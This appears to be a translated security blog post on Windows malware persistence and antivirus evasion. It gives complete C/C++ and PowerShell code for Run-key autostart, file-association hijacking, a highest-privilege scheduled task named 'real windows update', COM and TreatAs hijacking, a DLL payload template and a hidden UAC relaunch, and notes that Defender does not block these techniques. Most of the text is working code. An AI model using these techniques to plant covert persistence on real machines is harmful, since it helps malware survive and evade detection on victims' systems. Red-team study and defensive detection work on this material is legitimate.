Preface
In practical applications, the commonly used methods for persistence are adding services, modifying the registry, adding scheduled tasks, and hijacking, etc. Here, we explore the self-starting anti-anti-virus techniques under C/C++.
Registry
User level

\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
System level (requires administrator privileges)
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce
Detailed code
#include<stdio.h>
#include<windows.h>
int main(void)
{
HKEY hKey;
DWORD result;
// Open the registry
DWORD lRet = RegOpenKeyExA(
HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
KEY_SET_VALUE,
&hKey;
);
if (lRet != ERROR_SUCCESS)
return 0;
char szModule[MAX_PATH];
GetModuleFileNameA(NULL, szModule, MAX_PATH);
lRet = RegSetValueExA(
hKey,
"coleak",
0,
REG_SZ,
(BYTE*)szModule,
strlen(szModule)
);
if (lRet == ERROR_SUCCESS)
printf("success\n");
else
{
printf("failed");
}
RegCloseKey(hKey);
return 0;
}
If administrator privileges are obtained, suffix hijacking can also be used to maintain it
#include <windows.h>
#include <stdio.h>
void showErrorText(DWORD error_num);
int main()
{
HKEY hKey;
DWORD result;
char szModule[MAX_PATH];
GetModuleFileNameA(NULL, szModule, MAX_PATH); // The program to be replaced, without writing %1, the file path of the double-clicked file will not be passed to the exe
// Open the registry
result = RegOpenKeyExA(
HKEY_CLASSES_ROOT, "xxx\\shell\\Open\\command", // Registry item name to open
0, // Reserved parameter must be filled with 0
KEY_SET_VALUE, // Open permission, write
&hKey // Handle after opening
);
if (result == ERROR_SUCCESS)
{
printf("open success!n");
}
else
{
printf("open failed!n");
showErrorText(result);
system("pause");
return 0;
}
// Set the registry value
result = RegSetValueExA(
hKey,
"", // Set default value
0, // Reserved parameter must be filled with 0
REG_SZ, // Key value type is string
(const unsigned char*)szModule, // String starting address
sizeof(szModule) // String length
);
if (result == ERROR_SUCCESS)
{
printf("set success!n");
}
else
{
printf("set failed!n");
showErrorText(result);
}
// Close the registry:
RegCloseKey(hKey);
// Pause
system("pause");
return 0;
}
/*
* Output error information based on error code
*/
void showErrorText(DWORD error_num)
{
char* msg = NULL;
FormatMessageA(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
error_num,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Use default language
(LPSTR)&msg,
0,
NULL
);
printf("Error code %d: ", error_num);
if (msg == NULL)
printf("%sn", "Unknown error");
else
printf("%sn", msg);
}
This test shows that both firewal and Microsoft's defender do not intercept
Scheduled Tasks
TriggersTriggers: Define when the task should be executed. This could be a one-time event, scheduled, or in response to a specific event.
ActionsActions: Define the specific operations to be executed by the task. This may include starting an application, sending an email, displaying a message, etc.
ConditionsConditions: Define the conditions for task execution. For example, you can configure the task to run only when the computer is idle or only under specific power conditions.
SettingsSettings: Define other task settings, such as the number of retries when the task fails, the maximum running time of the task, etc.
#include <atlbase.h>
#include <comdef.h>
#include <iostream>
#include <Windows.h>
#include <shlobj_core.h>
#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")
ITaskService* m_lpITS = NULL;
ITaskFolder* m_lpRootFolder = NULL;
//Initialize COM component
void Init() {
//1. CoInitialize initializes the COM component
HRESULT hr = CoInitialize(NULL);
if (FAILED(hr)) {
MessageBox(NULL, L"Failed to initialize COM component", L"Failed", MB_OK);
}
//2. CoCreateInstance creates the task service object
hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (LPVOID*)&m_lpITS);
if (FAILED(hr)) {
MessageBox(NULL, L"Failed to create task service", L"Failed", MB_OK);
}
//3. Connect to the task service
hr = m_lpITS->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
if (FAILED(hr)) {
MessageBox(NULL, L"Connection to service failed", L"Failed", MB_OK);
}
//4. Obtain the pointer object ITaskFolder for the root task Root Task Folder from the ITaskService object, which points to the newly registered task
hr = m_lpITS->GetFolder(_bstr_t("\\"), &m_lpRootFolder);
if (FAILED(hr)) {
MessageBox(NULL, L"Failed to get pointer", L"Failed", MB_OK);
}
}
// Unload COM component
void UnInit() {
if (m_lpITS)
{
m_lpITS->Release();
}
if (m_lpRootFolder)
{
m_lpRootFolder->Release();
}
CoUninitialize();
}
// Create scheduled task
BOOL CreateTask(const char* lpszTaskName, const char* lpszProgramPath, const char* lpszParameters, const char* lpszAuthor) {
// Create a task definition object to create a task
// If the same task exists, remove it.
m_lpRootFolder->DeleteTask((BSTR)lpszTaskName, 0);
ITaskDefinition* pTaskDefinition = NULL;
HRESULT hr = m_lpITS->NewTask(0, &pTaskDefinition);
if (FAILED(hr))
{
return FALSE;
}
/* Set registration information */
IRegistrationInfo* pRegInfo = NULL;
hr = pTaskDefinition->get_RegistrationInfo(&pRegInfo);
if (FAILED(hr))
{
return FALSE;
}
// Set author information
hr = pRegInfo->put_Author(_bstr_t(lpszAuthor));
pRegInfo->Release();
/* Set login type and run permissions */
IPrincipal* pPrincipal = NULL;
hr = pTaskDefinition->get_Principal(&pPrincipal);
if (FAILED(hr))
{
return FALSE;
}
// Set login type
hr = pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);
// Set execution permission
// Highest permission
hr = pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);
pPrincipal->Release();
/* Set other information */
ITaskSettings* pSettting = NULL;
hr = pTaskDefinition->get_Settings(&pSettting);
if (FAILED(hr))
{
return FALSE;
}
// Set other information
hr = pSettting->put_StopIfGoingOnBatteries(VARIANT_FALSE);
hr = pSettting->put_DisallowStartIfOnBatteries(VARIANT_FALSE);
hr = pSettting->put_AllowDemandStart(VARIANT_TRUE);
hr = pSettting->put_StartWhenAvailable(VARIANT_FALSE);
hr = pSettting->put_MultipleInstances(TASK_INSTANCES_PARALLEL);
pSettting->Release();
/* Create execution action */
IActionCollection* pActionCollect = NULL;
hr = pTaskDefinition->get_Actions(&pActionCollect);
if (FAILED(hr))
{
return FALSE;
}
IAction* pAction = NULL;
// Create execution action
hr = pActionCollect->Create(TASK_ACTION_EXEC, &pAction);
pActionCollect->Release();
/* Set the execution program path and parameters */
CComVariant variantProgramPath(NULL);
CComVariant variantParameters(NULL);
IExecAction* pExecAction = NULL;
hr = pAction->QueryInterface(IID_IExecAction, (PVOID*)(&pExecAction));
if (FAILED(hr))
{
pAction->Release();
return FALSE;
}
pAction->Release();
// Set program path and parameters
variantProgramPath = lpszProgramPath;
variantParameters = lpszParameters;
pExecAction->put_Path(variantProgramPath.bstrVal);
pExecAction->put_Arguments(variantParameters.bstrVal);
pExecAction->Release();
/* Create trigger, implement user login to start automatically */
ITriggerCollection* pTriggers = NULL;
hr = pTaskDefinition->get_Triggers(&pTriggers);
if (FAILED(hr))
{
return FALSE;
}
// Create trigger, set the trigger to
ITrigger* pTrigger = NULL;
hr = pTriggers->Create(TASK_TRIGGER_LOGON, &pTrigger);
if (FAILED(hr))
{
return FALSE;
}
/* Register task schedule */
IRegisteredTask* pRegisteredTask = NULL;
CComVariant variantTaskName(NULL);
variantTaskName = lpszTaskName;
hr = m_lpRootFolder->RegisterTaskDefinition(variantTaskName.bstrVal,
pTaskDefinition,
TASK_CREATE_OR_UPDATE,
_variant_t(),
_variant_t(),
TASK_LOGON_INTERACTIVE_TOKEN,
_variant_t(""),
&pRegisteredTask);
if (FAILED(hr))
{
pTaskDefinition->Release();
return FALSE;
}
pTaskDefinition->Release();
pRegisteredTask->Release();
return TRUE;
}
// Delete scheduled task
BOOL DeleteTask(char* lpszTaskName)
{
if (NULL == m_lpRootFolder)
{
return FALSE;
}
CComVariant variantTaskName(NULL);
variantTaskName = lpszTaskName;
HRESULT hr = m_lpRootFolder->DeleteTask(variantTaskName.bstrVal, 0);
if (FAILED(hr))
{
return FALSE;
}
return TRUE;
}
int main()
{
const char* lpszTaskName = "real windows update"; //Task name
const char* lpszProgramPath = "c:\\windows\\system32\\calc.exe"; //Path to the program to be executed
const char* lpszParameters = "whoami"; //Program parameters
const char* lpszAuthor = "coleak";
Init();
BOOL bRet = CreateTask(lpszTaskName, lpszProgramPath, lpszParameters, lpszAuthor);
if (!bRet) {
printf("Create Task Failed");
return -1;
}
UnInit();
printf("Successd");
return 0;
}
As shown in the figure, the scheduled task runs with the highest privileges, but the program itself needs administrative privileges to add successfully
COM hijacking
Common methods include
Modify the existing InprocServer to point to the dll we generated
Import-Module .\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandler
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{6F58F65F-EC0E-4ACA-99FE-FC5A1A25E4BE}\InprocServer" /d "C:\security\tmp\Dll.dll" /t REG_SZ /f
Set up a scheduled task to call a malicious COM registered by itself using powershell or vbs script
You can combine the registry writing and scheduled tasks mentioned above to put vbs into the startup to pull up the com function
Hijack existing tasks
The scheduled tasks that are called with Action as Comhandler are all system-built COM, and their modification permissions in the registry are trustedinstaller, while other users only have read permissions. (Owner modification required for 3389)
TreatAS key hijacking
The key point is to find nodes that can be modified without permission, and nodes are newly created under HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID or HKCU\Software\Classes\CLSID without high privileges
# Definition
$HKLM = "HKLM:\software\classes\CLSID"
$CLSID = "{C5602CE6-9B79-11D3-B654-581BBAEF8DBA}"
$HijackCLSID = "{46C166AA-3108-11D4-9348-00C04F8EEB71}"
$DLL = "C:\tmp\calculator_x64.dll"
# Create a malicious CLSID node {C5602CE6-9B79-11D3-B654-581BBAEF8DBA}
New-Item -Type Directory "$HKLM\$CLSID"
# Point the key value to the path of the malicious file and set the DLL threading model
New-Item -ItemType String "$HKLM\$CLSID\InprocServer" -value $DLL
New-ItemProperty -Path "$HKLM\$CLSID\InprocServer" -Name "ThreadingModel" -Value "Both"
# Create a TreatAs key under the CLSID node in the Home Network Configuration Manager and set the default value to the malicious CLSID node
New-Item -ItemType String "$HKLM\$HijackCLSID\TreatAs" -value $CLSID
# Call test
rundll32.exe -sta $HijackCLSID
# Restore environment, delete the TreatAs key and malicious CLSID node
Remove-Item -Path "$HKLM\$CLSID" -recurse
Remove-Item -Path "$HKLM\$HijackCLSID\TreatAs" -recurse
Test
1. Try to write to the registry to unregister COM directly
# include <windows.h>
# include <tchar.h>
#include<iostream>
using namespace std;
int main(void)
{
HKEY hKey = NULL;
char subKey[] = "SOFTWARE\\Classes\\CLSIDk\\{C5602CE6-9B79-12D3-B654-581BBAEF8DCD}";
DWORD dwOptions = REG_OPTION_NON_VOLATILE;
DWORD dwDisposition;
long resulte = RegCreateKeyExA(HKEY_CURRENT_USER, subKey, 0, NULL,
dwOptions, KEY_WRITE, NULL, &hKey, &dwDisposition);
char szModule[MAX_PATH]="C:\\security\\tmp\\ATLProject1.dll";
DWORD lRet = RegSetValueExA(
hKey,
"InprocServer",
0,
REG_SZ,
(BYTE*)szModule,
strlen(szModule)
);
if (lRet == ERROR_SUCCESS)
printf("success\n");
else
{
printf("failed");
}
RegCloseKey(hKey);
return 0;
}
An error will be reported when calling: 80040154 Class not registered (registration requires administrator privileges), and adding a scheduled task also requires administrator privileges, which is very unsafe and not recommended to do so
2. Enumerate the scheduled tasks available for COM hijacking, and then hijack them in advance through user registry or through TreatAS hijacking
Import-Module .\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandler -PersistenceLocations
The dll to be tested must follow the mutual exclusion rule
BOOL TestMutex()
{
HANDLE hMutex = CreateMutex(NULL, false, "myself");
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
CloseHandle(hMutex);
return 0;
}
return 1;
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
if(TestMutex()==0)
return TRUE;
WinExec("calc.exe", SW_SHOWNORMAL);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}return TRUE;
}
Postscript
Registry functionality
Name | Function |
---|---|
HKEY_CLASSES_ROOT | Used to store some document types, classes, and associated properties of classes. |
HKEY_CURRENT_CONFIG | The user stores information about the current hardware configuration profile of the local computer system. |
HKEY_CURRENT_USER | Used to store the current user's configuration items. |
HKEY_LOCAL_MACHINE | Used to store the physical state of the current user. |
HKEY_USERS | Used to store the default configuration items for new users. |
CLSID
CLSID is a concept proposed by Microsoft, translated into Chinese as: Global Unique Identifier. CLSID refers to the unique ID code assigned by the Windows system to different applications, file types, OLE objects, special folders, and various system components, used for identifying its identity and distinguishing it from other objects.
Common CLSID:
{20D04FE0-3AEA-1069-A2D8-08002B30309D} My Computer
{450D8FBA-AD25-11D0-98A8-0800361B1103} My Documents
{645FF040-5081-101B-9F08-00AA002F954E} Recycle Bin
CLSID structure:
typedef struct _GUID {
DWORD Data1; // Random number
WORD Data2; // Related to time
WORD Data3; // Related to time
BYTE Data4[8]; // Related to network MAC
} GUID;
typedef GUID CLSID; // Component ID
typedef GUID IID; // Interface ID
CLSID in the registry
CLSID Key:
Key Name | Description |
---|---|
LocalServer | Specify the custom handler used by the application, i.e., exe path |
InprocServer/InprocHandler | Module, thread attribute configuration, i.e., dll path |
COM component search order
1.HKCU\Software\Classes\CLSID
2.HKCR\CLSID;HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID
3.HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\
Theoretically feasible 3 hijacking schemes:
There is in HKCR but not in HKCU, only need to register in HKCU to hijack the COM service in HKCR.
Modify
LocalServer
orInprocServer
The key value.Replace
LocalServer
orInprocServer
The file in the key value.
Register the COM written by the call
regsvr.exe -i ATLProject1.dll #This is registration
regsvr.exe /u ATLProject1.dll #This is uninstallation
vbs
set com=CreateObject("ATLProject1.temp")
dim num
num=com.Number(2)
msgbox num
powershell
[activator]::CreateInstance([type]::GetTypeFromCLSID("1006b886-9932-45f8-ad39-bec8c210e15e")).Number(2)
cmd
rundll32.exe -sta {CLSID}
Request administrator
VOID ManagerRun(LPCSTR exe, LPCSTR param)
{
SHELLEXECUTEINFOA ShExecInfo;
ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
ShExecInfo.hwnd = NULL;
ShExecInfo.lpVerb = "runas";
ShExecInfo.lpFile = exe;
ShExecInfo.lpParameters = param;
ShExecInfo.lpDirectory = NULL;
ShExecInfo.nShow = SW_SHOW;
ShExecInfo.hInstApp = NULL;
BOOL ret = ShellExecuteExA(&ShExecInfo);
//Terminate the current thread
CloseHandle(ShExecInfo.hProcess);
return;
}
int main(int argc, char* argv[]) {
if (argc == 1) // Run for the first time, that is, double-clicking the EXE
{
ShowWindow(GetConsoleWindow(), SW_HIDE);
ManagerRun(argv[0], "2");
return 1;
}
else if (argc == 2) // Run again, that is, the above ManagerRun
{
function();
/*Your main program code is here*/
}
return 0;
}
reference
https://ruyueattention.github.io/2021/12/26/COM-attack/
https://bu1.github.io/2021/11/27/COM-component-attack-learning%EF%BC%9AFrom-Initial-Understanding-to-Simple-Use/
https://www.4hou.com/posts/Mo51
https://lellansin.wordpress.com/2014/07/28/Horse%2C-you-are-good%21%EF%BC%88Eight%EF%BC%89-registration-table-operations/
https://github.com/enigma0x3/Misc-PowerShell-Stuff/
https://sp4zcmd.github.io/2021/02/28/Using-COM-components-to-create-planning-tasks/
Generative AI Red Team Testing: How to Effectively Evaluate Large Language Models
Build an information security visualization platform by yourself (Part Two) Missle Map
How to use large language models (LLMs) to automatically detect BOLA vulnerabilities
Be vigilant against the new worm virus disguised as the 'Synaptics touchpad driver program'

评论已关闭